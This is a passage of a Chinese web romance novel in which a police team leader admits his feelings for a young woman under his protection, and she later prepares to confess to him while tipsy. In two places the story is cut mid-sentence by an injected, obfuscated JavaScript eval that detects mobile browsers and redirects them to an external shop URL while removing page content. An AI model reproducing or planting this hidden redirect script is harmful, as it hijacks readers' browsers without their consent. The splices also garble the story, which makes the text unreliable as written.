极乐:“……” 他默默咽下,才发现对面两个在看自己:“怎么了?” “你吃肉了?!”极乐活久见地抱住头,“上帝,你肯碰肉了!” 公冶汗颜地说:“我今天消耗太大了,必须要吃点肉。” “好吃吗,是不是很好吃!”他难得对鸡肉感兴趣,邓烟雨激动地扫了餐桌上的码,“我们再点一盘!” 极乐:“再点再点!” “别点了,够了,”公冶伸手制止,“主食还没上来呢。” 极乐眼前一黑:“主食?我们还点了主食?” “青酱烩饭,”公冶说,“不是朗院长推荐的么,你忘了?” 邓烟雨讪讪一笑:“我还点了其他主食,有个黑松露意面,你们要吃吗?” “吃啊,”公冶喝了口饮品缓解胃部不适,“极乐,吃么?” 极乐摸着自己“怀胎”四月的肚子,嘴角一抽:“吃……” 吃个鬼啊!肚子要炸了!来这就是为了那一口饭!结果霍霍了一桌前菜,害得她现在只想出去狂奔个五公里。 当“镇店之宝”青酱烩饭上来时,三个人都死寂了。绿莹莹、黏糊糊的米粒平整地凹在大碗里,宛如隔夜凝固的浓郁青菜粥,绝对可以用一坨绿色不明物体来形容,可送入口腔的刹那,捣碎的罗勒叶与松子的滋味卷出清新肉香,在味蕾上泛滥开来,和它的外貌形成强烈反差,美味到惊奇的程度。 “朗食神果然说得没错,这玩意儿好吃到哭了。” 邓烟雨瞅了眼桌上几板控糖控油的药,说:“友知姐,你还好吗?” “我很好呀,”美食当前,极乐慷慨地把装甜食的胃分出来,说,“这世上唯爱与美食不可辜负,放宽心吧,我死不了。” “我好像吃不下了。”把饭解决完,邓烟雨对着宠幸了两三口的意面,勉为其难地打了个饱嗝,极乐不至于瘫在桌上,只摇摇手说放过我吧。 满满一盘意面无人问津,公冶搁下柠檬水,说:“给我吧。” “诶?”邓烟雨诧异地看向他,便递了过去,他就原封不动拿着她用过的餐具帮忙解决起来,嘴唇接触刀叉之际,邓烟雨脸蛋一红,歉疚道,“我以为我可以吃完的,没想到青酱烩饭的量那么大,撑到我了。” “没事,我吃得下,主要是你友知姐,人快没了。” “不行了,我要去厕所。” 极乐捂着胃站起来,邓烟雨也有了感觉,跟着她一起去了。回来时,公冶没看见邓烟雨,问:“她去哪了?” “这家店不是新开的嘛,”极乐坐下来说,“服务员说关注公众号注册会员可以抽公仔,她去搞抽奖了。” 公冶噢了声。 “组长,”极乐双手交叠,垫着下巴,顾盼生姿的双眸盯住他,说,“我们来好好聊一聊吧。” 公冶:“是聊上次你请病假我误给你算成事假导致多扣你一千块的事吗?” 极乐:“……啊?!” 公冶往后一仰:“看来不是。” “当然不是,是小雨啦,”极乐拍住桌子,单刀直入,“你表个态。” 公冶看着她,丈二和尚摸不着头脑:“表态?” “就……事到如今了,你难道不应该对她说点啥?” 公冶低头,像只飞机耳的猫:“我道歉了。” “不是!”极乐急得用上肢体语言,大鹅子似的扑棱两下,“是发自肺腑的——你的真心——” “我是真心在道歉。” 极乐:“……” 这个男人还有抢救的必要吗? 公冶狐疑地皱眉:“你到底想说什么。” “你对人家真就一丢丢感觉也没有吗,”极乐一脸服了你了,“我问你,你待在火炉边上,会感受不到热意吗,会听不到木头爆开的声音吗?” 公冶神色未变,视线却移开了,似在找人:“你说这个?” “废话,不然我说哪个,开窍啊,”极乐指指自己的脑子,恨他烂泥扶不上墙,“一般女孩子会答应和一个没兴趣的成年男性住在一起睡他的床吗,她喜欢你都昭然若揭了,不然昨晚你们都这样那样了,她今天还愿意陪你吃饭,她图什么?” “图你EQ为零?” “图你反射弧能绕地球五圈?” “还是图你活好?” 公冶脸一烫:“什……” “而且,”极乐玩味一笑,“人家又不是不愿意。” 公冶呆滞地僵在座位上。 “你扪心自问,对她什么感觉。” 公冶目光一寸寸延出,定格在远处那道小身影上。她套着他的警服,衣领边的紫露草警徽太闪了,吸引了许多目光,不知情的以为是在cosplay。 她正专心致志掏着箱子里的奖品,发丝卷卷弯成月牙,衬在脸颊边。 公冶收回目光,对上极乐坦白从宽抗拒从严的雪亮视线。 “嗯?”极乐轻佻一哼,非逼得他说出来。 所以,他说了:“我喜欢啊。” 似乎一切尘埃落定,他在一场不知何时打响的拉锯战里先败下了阵,没有一分一毫的掩饰,坦诚地说:“我是喜欢她。” “接下来该怎么办你自己清楚吧?”极乐说,“虽然你是我组长,但我比你大两岁,姐姐我—— ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579294|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”她探出身子,往公冶头上狠狠拍了下,“驰骋情场,比离过四次的熊老大还要饱经世故,你们那点破苗头,我都不兴说了。” “记得主动点,”极乐下达最后的通告,“你就认栽吧。” “她待在我身边不安全,”公冶沉沉的目光在碎发后暗下去,“至少目前看来不安全。” “你怕张烬和顾令萍对付她?”极乐思索着,“张烬一副好牌打得稀烂,估计要倒台了,顾令萍么……她没来过歌华,还要管着独玉分所的孩子,够不着你的吧?” “不一定,我到现在也不理解,”公冶目光冷淡,“只要公安还保她,她就什么事都做得出来。” “啧,顾虑这么多,”极乐一叉子下去,钉穿软塌塌的牛排,“你就承认你喜欢她喜欢到要死要发疯吧。” 公冶竟没反驳,将柠檬水饮尽:“我会考虑清楚的,谢谢。” “别客气,”极乐冲他摆手,“我是男人钓多了,都有门路的。” 公冶:“……” “友知姐!”邓烟雨兴冲冲地蹦跶过来,双手背在身后,看看公冶,再看看极乐,满脸喜色,抑制不住地露笑,“猜我抽到了什么?” “什么哦?” “当当!”邓烟雨把抽中的奖品亮出来——是一只公美布娃娃。 非常精致,缝制它的人必定是个细节怪,人工宝石点缀的紫色小花朵警徽栩栩如生,敞开的警服,微乱的黑发,冷酷的绿眼,这个公美娃娃的形象…… “是不是很像公冶警官!”邓烟雨惊喜欲狂,开心得要原地蹦迪,“简直一模一样,就是Q版的公冶警官,好可爱啊啊,连拽拽的表情也像得不行!他们说这是隐藏款,箱子里就一个,被我抽到了!” “哇塞真的吗!小雨你好厉害!”极乐拿来一看,乐开了怀,“天呐真的好像啊,哎组长你快看——” 公冶拿着娃娃一瞧,也怔住了。 像得实在过分,就是照着他这个人缝出来的吧。 “你以后可以抱着它睡觉,”极乐满心欢喜地揉揉她,“不过有真人就搂着真人睡,真人通宵值夜班不在家,你就搂着它睡觉,两全其美。” “我也这么想的,”邓烟雨说出这句不经大脑的话,表情顷刻凝结,接着满面通红,“我不是……那个……意……” “我去结账。”公冶起身,将娃娃还给邓烟雨,往前台走去。 “23桌。” “好的。” 收银员熟练操作着界面,眼睛一扫,在这位客人的脸上多停留了两秒。 他脸怎么这么红啊?我们店的暖气开太足了吗? 收银员没再多想,滴了付款码,微笑着递给他三颗草莓奶糖。 晚上,邓烟雨简单收拾了一些衣物,就搬去了极乐家。 公冶开车送她去的,极乐在紫露区租了一套loft小资公寓,套内五十平,两个人住绰绰有余。她家还养了只狸花猫,眼睛是翡翠绿色,以前流浪过因而性格随和,邓烟雨一眼便相中了,爱不释手地抱着它满客厅溜达,还意外找到了失踪已久的逗猫棒。 “那我走了,”公冶准备离开,似有什么后顾之忧,对极乐说,“一千块我垫了,你半夜不要站我床头。” “哈,你当我鬼吗,”极乐翻了个白眼,“三天后来接她啊。” 公冶张了张唇,却没说一字。 “三天后,”极乐捂住嘴,坏坏地偷乐,“就是你的处刑日了,看你以后怎么演下去,这三天你正好用来做下心理建设。” “你不去当恋综观察员真是可惜了。”公冶抛下这句话,头也不回走了,狸花猫喵喵叫着小碎步溜至门口,邓烟雨在他身后喊:“公冶警官!” 公冶回头。 “晚上开车小心点啊。”她扒着门框,难舍难分地望他。 以前为何没发现,她的眼神那么酥。 “嗯,”公冶怕脸上又烧起来,迅速转身撤离,“知道了。” 邓烟雨见他走得这般匆忙,不安地说:“身体还不舒服吗……” “他强健着呢,小傻瓜,别担心啦,”极乐往她后脑勺一带,慢步进屋,“你的好日子可要来了。” 好日子? 邓烟雨低头瞧了瞧狸花猫,狸花猫也仰头,瞧了瞧她,尾巴咻地竖起。 “确实有好日子了,”邓烟雨嘿嘿道,“我有猫猫rua啦。” “是有猫猫rua了,”极乐站在咖啡机前,按了双份浓缩,宠溺地笑道,“还是只超——纯情的大黑猫猫噢。” 42. 带坏 夜晚十点,挑空大落地窗外华灯靡丽,车流如同不停运动的细胞,奔腾在城市的每条血管里。 一楼充满苦咖啡的香味,极乐赶了猫猫去楼上,瘫在复古奶油风的沙发里刷了半天手机,忽地笑出声,引得邓烟雨凑过去:“在看什么?” “网友发了条链接给我,我在测我和简局的灵魂匹配度,”上一秒还在乐此不疲咔咔保存偶像盛世美颜的极乐,转头在输入框内输入两个星座,为自己的终身大事精打细算起来,“我是巨蟹,他双鱼,配对出来100%,这算什么,也太完美了吧,他怎么还不娶我?” “帮我也测一下,”邓烟雨说,“我摩羯,额……” 极乐懒懒地笑:“额……?我也不知道组长生日。” “我也没说要和他测。” “是吗?不是他啊?原来不是他啊?” 鬼都不信这话。 邓烟雨在极乐这吃了瘪,灰心丧气地抱着枕头歪倒一旁:“算了,我到时候自己去问。” “骗你的啦,我在他手底下摸了多少年鱼了,有一次单位要我们身份证,他让我帮忙报上去,我瞄到一眼,”极乐说,“他四月一日。” “四月一日?”抱枕被邓烟雨搂紧了,“你说四月一日?四月?一日?是那个四月一日?” 极乐要是戴眼镜,肯定要扶一扶了:“没错,是那个四月一日,惊讶吗,他一个低气压魔王居然是火象星座,还是你觉得这个日子敏感?” 出生在四一稀美屠杀案当天,美食家身份,buff叠满,放到网上是要被网暴的程度。 “他是不是生日从来不过的?” “是啊,”极乐感慨,“每年四月一日,歌华全城拉警报,谁还有心情给自己点蜡烛,尤其是我们这种身份敏感的,在那天都要低下头做人啦。” 邓烟雨神色黯然。 “哎,我算出来了,摩羯女和白羊男的匹配指数,”极乐不动声色,手机怼到邓烟雨脸前,“32%。” “……啊?!” 邓烟雨弹射而起:“这么低,五……四十都没有?!” “嗯,上面说,白羊性格豪爽,属鞭炮的,情绪来得快也去得快,比较缺乏耐性,摩羯呢温吞又深沉,心肠好但不善言辞,你们俩凑在一起,顶多就是谁熬死谁的问题了。” 邓烟雨大失所望,忿忿地抗议:“我哪里温吞哪里深沉了,他哪里豪爽哪里属鞭炮了?而且白羊多可爱啊,哪里像鞭炮了。” “有些解释确实偏客观,”极乐不偏不倚地纠正,“但他哪里不豪爽了?他今天在餐厅掏腰包的手速没有爽到你吗?” 无法反驳——那个男人花钱豪爽这事比珍珠还真。 “属鞭炮嘛……白羊的确性格火爆啊。”嘴上这么说,极乐也知道,除了和邓烟雨有关的事容易惹毛他,平时他比谁都沉得住气,无论是在艰苦环境下不分昼夜埋伏蹲守还是审人审到满眼血丝衣衫有味,整个特发科叫翻天了,他也不吭一声累。 极乐流露出小孩子的心气:“我前男友也是白羊座,超级大渣男一个,你不能为所有白羊男洗白。” “好的好的,白羊男渣男属性是很高,我刷到好多帖子渣男都是白羊座。” “真的啊?那我踩大坑了,下次不找这个星座的男生了。” 邓烟雨嗯嗯嗯地点头,转念一想:“诶?那我该怎么办?” “哈哈哈,”极乐笑出了眼泪,把手机拿给邓烟雨看,“同事在群里说,当时气糊涂了,现在想起来,咱们组长也太猛了,持刀威胁省厅政治部主任还能全身而退,可以发面锦旗恭贺他了。” 邓烟雨靠近,只见屏幕上咻咻蹿动,一个名为“熊熊帝国军情七处”的大群里正在层出不穷冒消息。 金刀:【锦旗上就写“挥正义之拳保一方平安”怎么样?】 刺舟:【挥正义之拳的好像是简局】 金刀:【那我再改改】 响尾:【挥拳?简局打人了?!到底发生啥了,简局打了影青吗?!】 枫走:【谣言就是被这么传开的】 刺舟:【不是,是简局打了张主任,就一拳,很克制了】 响尾:【天呐,神仙打架啊,我错过了什么】 蝶衣:【哈喽啊,哪个组值班,看看我的豹纹抓夹在不在工位上?】 斗香:【六组七组在】 斗香:【@杀萝,宝贝萝,看看蝶衣的豹纹抓鸡在不在工位上】 杀萝:【在】 蝶衣:【谢谢亲亲宝贝萝】 杀萝:【1】 金刀:【杀萝你敢不敢多打一个字?】 杀萝:【不】 七海:【你们谁有《欲夜狂欢》浴缸那段】 七海:【@极乐@斗香@蝶衣@簪鱼@熊小滚@响尾@影青】 金刀:【这在群里问什么呢】 七海:【我们好歹是个情报局,自然要搜罗点有价值的情报】 金刀:【……】 响尾:【啊拜托你视力去重测吧,艾特我和影青干嘛】 这倒是其次,问题她还艾特了熊警官,邓烟雨多少有点担心这个公美姐姐的人身安全,眼睛忽然一亮,她看见公冶发了条消息,应该已经到家了。 他发了一个表情包。 邓烟雨愣愣盯着像饭团一样可爱圆滚的大熊猫背影,不甘心地捶了抱枕。 他居然还会发表情包——他对我从来不发表情包! 暮火:【影青,身体还好吗?】 影青:【还好】 影青:【今天给大家添了很多麻烦,对不起】 此话一出,今天在场的不在场的纷纷霸屏式安慰。 金刀:【不要说这种话,你太帅了,我早就想揍那个老妖精了!】 刺舟:【组长威武】 极乐:【简局也威武】 簪鱼:【都V5】 蝶衣:【V我50】 金刀:【本群禁止谐音梗,违者罚款五十元】 响尾:【没赶上点映,好可惜!下次再有这种好事踢我一脚】 七海:【@影青别自责,你好样的,顺便问下你有没有浴缸那段?】 影青:【没有】 七海:【好的谢谢,你好好休息】 邓烟雨朝极乐投去羞羞的一眼:“我有欲夜狂欢的肉。” “想不到啊小雨,你还好这口。” 极乐激情四射地往群里发送一条消息:【邓丫头有,一会发你哈】 群里顿时鸡毛乱飞聒噪得掀天。 蝶衣:【是那个洋娃娃妹子么?】 七海:【哇妹妹好棒!麻烦再帮我问问她有没有间之楔的资源!】 飞阙:【@影青,昨天那大学生的报案,你管了?】 簪鱼:【间之楔我有】 影青:【管了,算美袭,表填了】 斗香:【小可爱怎么住你家啦,我们每人家里住一遍吗,啥时候轮到我】 蝶衣:【恭喜极乐抢亲成功】 飞阙:【@影青,你太好心,以后这种让隔壁对付】 影青:【@飞阙,协查函我改了,稍后邮箱发你,你来决定】 簪鱼:【恭喜+1】 飞阙:【好】 七海:【恭喜+2】 群里贺声一片,已经从“影青为爱放手”讨论到“极乐横刀夺爱”了。极乐发了个表情,她知道再过不久熊老大就要在群里发飙了。 暮火:【再聊有的没的就踢你们出去】 暮火:【一组组长六组组长,你们没脾气的吗?】 影青/飞阙:【……】 影青/飞阙:【再聊有的没的就踢你们出去[小跟班.jpg]】 “哈哈,发飙的是暮火啊,”极乐说,“也就火神能管住他们。” 邓烟雨还在为星座匹配度发愁。 “没事啦,只是个小测试,好就信,不好就当它放屁。”极乐边说边打了个哈欠,起身去拿冷掉的咖啡。 邓烟雨也困了,把所有资源发给极乐,随后去刷牙洗脸,猫猫在床上四仰八叉睡了一觉,下来伸了个懒腰,朝亮着灯的洗手间迈去,坐在门边发呆。 邓烟雨挤了牙膏,刚要举起来,视线凝在镜中那张脸上。 长相,不出众;个头,矮矮的;身材,一般般。 她对自己的评价没有一个好字。今天出现场的女公美,各个五官立体,身材火辣,穿一身黑都耀眼夺目。极乐不谈性格,也是数一数二的美女。 每天被那么多美女围绕,他怎么会看上我? 邓烟雨凑向镜子,仔细观察自己,轻轻“嗯?”了一声。 不对劲……嘴唇看起来……比平时肿。 这是必然的,昨晚亲太狠了,今天一刻不闲跑在外面,此刻静下来好好地望上一眼,便发觉这处那处,有不少亲热的痕迹残留。 她甩了甩胡思乱想的脑袋,刷起了牙,软毛摩擦到口腔内壁,贴近尖牙的位置略疼,是他当时吻得太动情太投入,獠牙刮开了她的肉。 不过,她当时并没有吞咽到血的腥甜。 可能是伤口不大,没冒出多少血,也可能……是被吻掉了。 牙膏起泡了,清新的水蜜桃味在受伤的地方充盈开来,她的脸也熟成了水汪汪的蜜桃,猫猫端庄蹲坐,提爪百无聊赖地舔,时不时瞄她一眼,继续舔。 “友知姐,我问你个事。” “啊——?”洗手间和客厅有一定距离,电视机也在制造杂音,极乐仰着脖子应了一声,邓烟雨说:“那个,你们在亲亲的时候,獠牙会收不住吗?” 那头未曾传来动静,邓烟雨以为是自己的问题踩到雷区了,正欲作罢,极乐的声音来了:“我前任啊,特别喜欢对我法式舌吻,每次接吻,要求我把獠牙伸出来,”她轻飘飘的语气混着笑,难以捉摸,“他说我的獠牙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16579295|187255||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 软刺一样刮着他很舒服,我当时居然还答应这个变态的要求了。” “软刺?”邓烟雨清水洗脸,挤了一泵洗面奶,出神,“软刺……?” 他手掌的温度,他的喘息声,他满眼是她的模样,无比清晰地、一帧一帧地随着感觉,带着点点尖利感,全部回来了。 果真,像软刺一样。 痒得疼。 极乐喝完苦掉牙的常温咖啡,人也熬过了困成狗的那个点,眼下精神百倍能打趴一只虎。她摇花手吸引她家猫咪:“怎么了,嘴巴里面破了吗?” 邓烟雨埋头洗净脸上的泡沫,抽了张一次性洗脸巾,边按边说:“嗯,舌头碰到有点疼。” 极乐走过来,倚着墙说:“没事哈,没有病菌,不会生病的。” “啊,我不是担心这个,”邓烟雨急忙解释,“我只是在想,要是亲得忘我了每次露出来,岂不是每次都要刮破,我也不想天天流血。” “你已经考虑那么长远了吗,”极乐仿佛磕了一吨糖,满眼溺爱,“那要不再考虑一下娃的名字吧。” “我、我没有往那考虑!”邓烟雨把洗脸巾捏成一团。 极乐大笑,说:“我再激动也不会露獠牙的,除非另一半有这方面趣味,组长在清醒状态下是什么情况,我就不知道了,即便是美食家,男人和女人构造也不一样,他忘乎所以的时候露不露獠牙,这得去实践了才知道,实践是检验真理的唯一标准。” 一句名言醍醐灌顶,给了邓烟雨无限启发,她呆呆思考一阵,顶礼膜拜地握住极乐的手:“你最后的话真是让我茅塞顿开。” “哦是么,”极乐任由她握着,眯成笑脸猫,“不客气啦。” “我决定了,”邓烟雨举起小拳头,振奋地说,“回去就和他告白,我要抢在你前面先有男朋友,压给给到你,哈哈哈哈。” 极乐被她这么一激,莫名其妙就急了:“凭什么,我也可以告白的,我只是想多享受几天单身生活。” “是吗,反正我享受够了,我要找男朋友了。” “你找呗,”极乐气嘟嘟,“就找组长这块石头呗。” “我这块石头凿开了里面可都是宝,”邓烟雨已摆出赢家的尊容,“你要是怕输给我,现在就给简局发消息。” 久经情场的女魔头怔在原地,半晌吐出个:“我……” 这孩子怎么不按常理出牌,原则上明明是谁先告白谁就输了,怎么到她这里还反过来了? “简局四十岁的人了,老年人睡觉很早的,我不能打扰他,”极乐丢她一条浴巾,“你也快点洗洗睡吧,熬夜会加速衰老。” “我再老,也比你年轻,略略略。” 人已经脱光进了淋浴间,极乐就站在门口,笑得嘴角轻颤:“小雨啊,你明知我素来不干人事,对我是真放心?” 花洒喷水的声音戛然而止,邓烟雨静了一瞬,说:“你要做什么?” “采花啦!!!”极乐猛冲进来,淋浴间旋即爆响邓烟雨的尖叫:“啊啊啊啊啊啊——!!!” 瓶瓶罐罐掉了一地,猫猫冷眼听了会儿,屁股一扭,优雅地走了。极乐欺负到一半,惊喜地咦了声:“你和我一个size,是d。” “不是!哪来的d,我才没有!友知姐你快出去!我错了,我再也不嘲笑你了啊不不不要!不要!!你——你在碰哪?!公冶警官都没有碰过我这里啊啊啊啊——” “他要碰了你这,不得立马求个婚作为补偿,想什么呢,”大盗恶狠狠采完娇花,心满意足退出战地,体贴地关上玻璃门,“我建议你换个size穿,我一柜子蕾丝都可以送你……啊等等,看来你没有骗我,那七斤真的胖在了胸上,哈哈哈。” 一块肥皂从淋浴间里飞出来,砸偏了位置,带着泡沫滑下了墙壁。 三天后,公冶按照约定的时间来接她。 邓烟雨双手提包,泪汪汪鼓着嘴,仿佛受了什么大天的委屈。 “怎么回事?”公冶猜出极乐照顾不周,但没想到这么不周。 “没什么,”极乐逗着跳在高处的猫猫,眼里透出狡诈,“我送了她一套超美的睡衣,她特别喜欢,喜欢得脸都红了。” “友知姐是坏女人。”邓烟雨楚楚可怜地拉拉他。正当她以为公冶会给予温暖的安慰抱抱她时,便听这男人不解风情地说:“你才知道她坏啊。” 邓烟雨:“……” “记录不用发我了,直接给熊队。” “好哒,”极乐微笑摆手,“拜拜啦,祝你今晚一切顺利。” 公冶领着小哭包走了。 看她这副样子,公冶心里倒意外平静,因为比起被极乐欺负,他更担心一件事—— 她要是被极乐带坏了,那可糟了。 也就三天而已,应该不会吧? 乘电梯下去时,公冶帮她拿着包,邓烟雨已经收起了可怜劲儿,波光流转的眸子挑起来,偷偷看他,笑了。 43. 微醺 开车回去途中,两人都沉默不语,唯独窗外的景色在变化倒退。邓烟雨瞥向驾驶座的人,他今天没戴表,露出清瘦而有力的腕骨。 她没事干,只好低头刷手机,清理一箩筐未读短信。删到一半,她惊讶地张大嘴,着急地向他问:“我们开到哪了?” “桥。” “别过桥。” 他们上桥了。 阻止得太晚,前面是实线,公冶没减车速:“这里没法掉头,怎么?” “我要回一趟公寓,有快递要拿。” 养生手环被她寄错地址,三天前放在了公寓的快递柜,取件码短信和提醒包裹收费的消息被各种人才招聘和邀约看房的垃圾短信压去了底下。 于是他们下桥以后绕了路,开到了满月区。 快递柜嘭一声弹开,邓烟雨走过去,弯腰拿出柜子里的盒子。 好久没回来了,她也没想着去楼上看一眼窗户修得怎么样,因为管理员大妈认出公冶,正拉着他在公寓门口聊天。 “你们公美每天抓坏人,很辛苦吧?” “还好。” “哪叫还好,你看你,人都瘦了,平时要好好吃饭呀,不要光吃泡面。” “会的,谢谢关心。” 几乎是大妈在说,邓烟雨走近才听清大妈在给他介绍对象。 “本地人,父母都是大学老师,书香世家,那姑娘人也二十好几了,在那个那个什么附中教语文,说不介意是美食家,只要有责任心,人品端正就行,你看你们,一个警察一个教师,多般配呀!” 邓烟雨脚步一顿,迟迟没推开玻璃门。 玻璃门外响起他的声音:“谢谢阿姨,我暂时没有谈恋爱的打算。” “噢?真不考虑考虑?” “不考虑。” “噢……”大妈一脸懂了懂了,又八卦地靠近他,问,“那你和707那个小姑娘,不是?” 公冶笑了:“如果阿姨觉得我们是情侣,为什么还要给我介绍对象?” 大妈被问得没话了,最后拍了他一下:“嗨呀!大妈是觉着,你工作好相貌又好,可以找个条件更好的呀,这结婚终究不一样,门当户对很重要。” 话题有点苦闷,公冶手插兜,漫无目的扫视行人,不太想回答。 “707的小姑娘,人么,也还不错的,就是和你不般配。” 他眼神复杂。 “哎哟,小伙子,大妈一向有话直说,你别不高兴啊,她瞧着像你妹子,太显小了,你啊,更适合成熟的女人。” 邓烟雨推开门,他们回头。 她像不认识他们一样,管自己低头走了。公冶匆匆道别,快步跟上去。邓烟雨越走越快,离公寓远了才减慢步伐,等公冶追上来。 “别人瞎说的话,我没听进去,你也不必听进去。” 邓烟雨点头:“嗯……” 公冶看她手里:“什么东西?” 她故弄玄虚,嫣然一笑:“你猜。” 他愣住了。 “快点回家啦,我饿了,今晚吃大餐。” 邓烟雨抛了抛快递盒,走路都轻快了起来,公冶没作声。 有点不对劲。 放在以前她应该会直接搂上来,今天为什么要这样若即若离?是刚刚管理员大妈的话刺激到她了? 不过那些话,连他听得都不舒服。 临近傍晚五点,晚霞铺天,揽月邸一如既往的宁静,偶尔有遛狗的人,牵着一条精瘦的小型犬。公冶见状止步,说:“我们绕道吧。” 邓烟雨:“你怕狗?” “是狗怕我。” 邓烟雨:“……” “它们一看见我就狂吠,牙齿都要崩我身上。” 这也太惨了吧,是美食家的气息让它们害怕了吗?“那绕路吧。”邓烟雨刚要随他转身,余光捕捉到一抹冽然的白影。 前面是块空地,中央圈着一株高大的银杏,都一月份了仍未凋光,树下立着一只赛级哈士奇,它微眯眼,前爪撑在草坪上,冷风一起,它便仰头,闻了闻这最后一树吹落的金色残叶。 邓烟雨望得出神了。 银杏叶掉在它湿漉漉的鼻尖,它没有哼气,而是垂颈,让叶子落地,雪白的爪子绕着走下来,蓬松的大尾巴一甩,蹭着主人裤腿。 它也不热,却笑哈哈扭头,含情脉脉注视女主人。 “你好!”女主人察觉了这边投来的视线,和他们打招呼,邓烟雨还没反应过来,公冶已淡笑着回应了一声。 哈士奇看见公冶,呆了呆,旋即从骄矜贵公子秒变隔壁家二傻,冲着他脱缰野马地狂奔而来,女主人根本拽不住牵引绳。 它像个撒娇的小孩,嘤嘤嘤扒拉着公冶,尾巴摇成螺旋桨,可把一旁的邓烟雨羡慕坏了:“你不是说狗狗见了你就叫吗?” “小区里就它亲近我,”公冶放了包蹲下来,揉着乱动的狗头,“也不知道该说它聪明还是傻。” 当然是聪明,这可是来自西伯利亚的纯种雪橇犬! “它好漂亮啊,”邓烟雨见女主人跑来,说,“我可以摸一摸吗?” “可以呀。”女主人笑道。 她蹲下时,哈士奇已经临幸完公冶,这就妖娆地扭到邓烟雨跟前耍活宝。 它通身偏浅,脸蛋帅气,厚密的毛发在光照下亮如银针,扇子似的睫毛轻扑在乌黑映人的瞳仁上,是条心思单纯的好狗。 陪它玩耍一阵,他们就和女主人作别离开了。 天色暗得很快,路边的地灯亮了。邓烟雨将快递盒翻了一面,说:“我明天给你烧鱼吃好不好?” 公冶的手没有插裤袋里,就这么垂着,似乎在等谁来握住:“好啊。” 他们捡着天南地北的话题随意聊,一高一矮的身影被夕阳拉斜,她的肩膀和他的手臂仅差毫厘,在走动中有碰上的趋势。 邓烟雨满脑子是哈士奇。她从小对养狗这事心心念念,每次提议,换来的都是妈妈一句“你先把你自己养好吧”。 “我以后也想养只哈士奇。” “蓝眼睛的?” 邓烟雨仰高头,瞧了瞧他,眉宇间竟有三分像那只赛级。 她抿住唇角的笑意,说:“就刚刚那样的,多帅啊。” “那你已经有了,”公冶抵御着羞愧带来的灼热,说,“我和那位女主人第一次见面,我戴了隐形眼镜,她说看到我,就像看到她家狗成精了。” “哈哈,真有那么像吗!”邓烟雨饶有兴趣凑近他,“我从没见过你戴隐形眼镜。” “执行任务的时候偶尔会戴,那天急着下班,没来得及摘。” “下次戴给我看。” “好。” 邓烟雨不再说话,有一眼没一眼地观察他。 今天的他有点不对劲。 总感觉,接下来无论提出什么要求,他都会答应。 “这个是买给你的,”邓烟雨的手指甲一直在刮快递盒胶纸,总算给她刮开个口子,她拆掉繁复的包装,取出里面的黑色手环,紧张道,“这是保健磁石手链,改善血液循环的,我看你最近太累了,就……买了。” 公冶完全没料到,怔了片刻,惊喜地接过它:“谢谢,这很贵吧?” 邓烟雨摇摇头:“不贵的,你都给我买了好多东西了,而且为了保护我天天休息不好,所以我也想买个礼物犒劳你一下。” “我保护你是理所应当的,用不着这么破费。”一想到她还是个连茅庐都没出的大学生,这笔钱砸得他心疼。 “没事啦,”邓烟雨让他戴上,问,“尺码正好吗?” “嗯,”公冶笑着说,“正好,我很喜欢。” 不枉她当时被他箍在怀里,面红耳热地徒手测量他的手腕尺寸。 回家后不久,外卖也送上门来了,邓烟雨将晚餐取出来盛好,另外一只便利店袋子里装着五瓶喝的,她扭头找不到公冶,喊了声:“公冶警官。” “怎么了。” “我买酒了,你要来喝吗?” 公冶把洗好的衣服放进烘干机,走出房间,一眼看见她手中的粉红酒瓶,如释重负地松了口气:“果酒?” “对,还有果啤,”邓烟雨晃了晃,“没啥度数的,陪我一起喝吧。” 酒壮怂人胆,她今天是要干大事的人,借着酒劲比较容易发挥。 他们喝到了晚上八点。公冶鉴于之前发情一事不敢贪杯,果酒度数再低也含有酒精成分,一旦喝多,攒着的后劲就会爆发出来。 所以邓烟雨有些醉了。 他去厨房洗个碗的工夫,回来就见邓烟雨再度干空一瓶,脸贴着半滴不剩的空酒瓶子倒在餐桌上,浑身香软。 “大姐,你不会第一次喝酒吧?” “……”邓烟雨撑起身,神态微醺,软绵绵地说,“喊谁大姐呢?” “走吧,”公冶小心扶起她,“回房间休息。” “不,”邓烟雨推开他的搀扶,气息微烫,“你坐下,我要和你说个事。” “不是我打击你,”公冶说,“你现在是说不明白的。” 邓烟雨鼓嘴:“你小看我。” “是的,我小看你,回房间,别在这睡。” 邓烟雨被他拉起来的那刻,顺势往他怀里一撞:“我就说一句。” 他没推开她。 一室寂静,周围的陈设像长了眼,在窥视他们的一举一动。 电视剧里通常怎么开头的,要铺垫吗?比如……今晚月色真好? 邓烟雨大脑清醒又混乱:“那个……我想说……” “在这之前,我想问你一件事,”等她憋出来,天都要亮了,于是公冶先行开口,“你今天态度有点反常,是极乐和你说了什么吗?” “友知姐?” 公冶放开她,邓烟雨坐了回去,看他也坐到了对面,这是愿意和她好好谈的意思了。 邓烟雨紧张地抠手:“具体指什么?” 公冶也有些不自然,错开视线:“她是不是提到我了?” 啊,是生日那件事吗。 邓烟雨心里这般想,便点头:“嗯,她和我说了。” ……什么?她说了?? 这下他比邓烟雨还紧张了。 极乐虽然平日里总爱妖言惑众,但大事上也不是口无遮拦的人,哪想人前答应好好的,转头就将他一军。 怎么就讲出来了,不是说嘴巴会闭得比蚌壳还紧吗? 